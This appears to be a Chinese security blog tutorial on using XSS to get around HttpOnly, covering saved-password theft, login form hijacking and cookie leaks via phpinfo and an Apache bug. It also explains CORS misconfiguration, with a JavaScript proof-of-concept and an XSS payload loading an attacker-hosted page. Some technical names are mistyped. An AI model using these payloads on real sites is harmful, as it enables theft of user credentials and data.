【每天学习一点新知识】XSS如何绕过HttpOnly获取Cookie以及XSS与CORS漏洞利用

目录

HttpOnly

 XSS如何绕过HttpOnly获取Cookie

直接读取

目录

HttpOnly

当开启HttpOnly时不依靠cookie如何登录后台

直接读取

表单劫持

XSS如何绕过HttpOnly获取Cookie

利用phpinfo获取cookie

Apache漏洞获取cookie

XSS与CORS漏洞利用

Host、Referer、Origin的区别

Cors 漏洞原理

Cors漏洞复现

XSS和Cors漏洞结合


表单劫持

利用phpinfo

XSS与CORS漏洞利用

Host、Referer、Origin的区别

Cors 漏洞原理

Cors漏洞复现

XSS和Cors漏洞结合


HttpOnly

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击

当开启HttpOnly时不依靠cookie如何登录后台

我们获取Cookie的目的无非就是登录后台,而登录后台往往还有另一种更为普遍的方式:账号密码登录。

所以当HttpOnly开启时,我们无法通过Cookie来登录,只能想办法获取账号密码。

若对方管理员有账号密码保存在浏览器的习惯,那么可以通过XSS漏洞读取浏览器中存储的账号密码信息。分以下两种情况:

  1. 保存读取:对方浏览器已经记录账号密码信息——直接读取
  2. 没有保存读取:对方浏览器没有保存账号密码信息——表单劫持

直接读取

XSS平台-用于xss漏洞测试专用

如果管理员账号密码保存在浏览器,则登录时以及登录后触发了XSS语句(勾选获取浏览器记住的明文密码),都会把账号密码信息发送到XSS后台。

表单劫持

当使用者输入账号密码时,浏览器会通过HTML的表单提交数据,再由POST方式将接收的数据参数提交到后台

此时抓包就能看见用户的账号和密码

如果能够在登录时触发XSS的表单劫持脚本代码,就会将账号密码信息发送回XSS后台,我们就能以此拿到管理员的账号密码信息。

需要注意的是,如果要利用表单劫持,那么XSS漏洞必须出现在登录框所在页面,也即XSS的表单劫持代码必须插入到登录框所在的页面(XSS代码提前写入此页面等待触发),若登录框所在页面不存在跨站漏洞,就无法得到账号密码信息。


XSS如何绕过HttpOnly获取Cookie

利用phpinfo获取cookie

phpinfo中很有可能藏着大量的信息,其中说不定就包含着cookie

Apache漏洞获取cookie

Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053:

攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。
 

XSS与CORS漏洞利用

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

Host、Referer、Origin的区别

  • Host:去哪里。域名+端口。值为客户端将要访问的远程主机,浏览器在发送Http请求时会带有此Header
  • Referer:来自哪里。协议+域名+端口+路径+参数。当前请求的来源页面的地址,服务端一般使用 Referer 首部识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等
    • 常见应用场景:百度的搜索广告就会分析Referer来判断打开站点是从百度搜索跳转的,还是直接URL输入地址的
    • 一般情况下浏览器会带有Referer,但这些情况不会带有Referer这个头
      • 来源页面协议为File或者Data URI(如页面从本地打开的)
      • 来源页面是Https,而目标URL是http
      • 浏览器地址栏直接输入网址访问,或者通过浏览器的书签直接访问
      • 使用JS的kk跳转

若浏览器不能获取到请求源页面地址,Referer头不会发送,但Origin依旧会发送,只是值是null而已(注:虽然值为null,但此请求依旧属于Cors请求)

  • Origin:来自哪里(跨域)。协议+域名+端口。它用于Cors请求和同域POST请求

只有跨域请求,或者同域时发送post请求,才会携带Origin请求头

Cors 漏洞原理

Cors请求可分为两类,简单请求和非简单请求。所谓简单请求,就是请求方式为GET,POST,HEAD这三种之一,并且HTTP头不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段。

当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添三个字段:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials
  • Access-Control-Expose-Headers

其中 Access-Control-Allow-Origin是必须有的,而剩下两个可有可无。Access-Control-Allow-Origin字段代表允许哪个域访问。当字段值为‘*’时,就代表任意域都可以访问,这样,就导致了Cors漏洞的产生。

Cors漏洞复现

随意打开一网站,找到一些用户信息:

再查看该网页的响应包:

 可以看到响应包里面:Access-Control-Allow-Origin:*,这就代表了任意域可以访问,构造poc:

POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。 

<!DOCTYPE>
<html>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange=function()
    {
        if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
        {
            var datas=xhr.responseText;
            alert(datas);
        }
    }
    //request vuln page
    xhr.open("GET","http://www.target.com","true") //网页地址
    xhr.send();
}
loadXMLDoc();
</script>
</html>

可以看到成功截取到了用户的信息

XSS和Cors漏洞结合

需要先验证XSS和Cors漏洞都存在

然后构造能够通过CORS跨域获取到敏感数据的JavaScript代码,如复现中的poc

该代码通过loadXMLDoc()函数,判断当前的访问状态,如果是正常访问(即状态码为200),则获取目标网页地址文件的body下的全部内容(也可以根据ID获取)并弹框展示出来。

现在我们只需要把反射XSS的payload替换为利用CORS跨域获取敏感信息的payload即可,例如:

<script src="x" οnerrοr=javascript:window.open("http://192.168.38.1/cors.html")></script>

程序成功执行。
 

  • 7
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RexHarrr

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值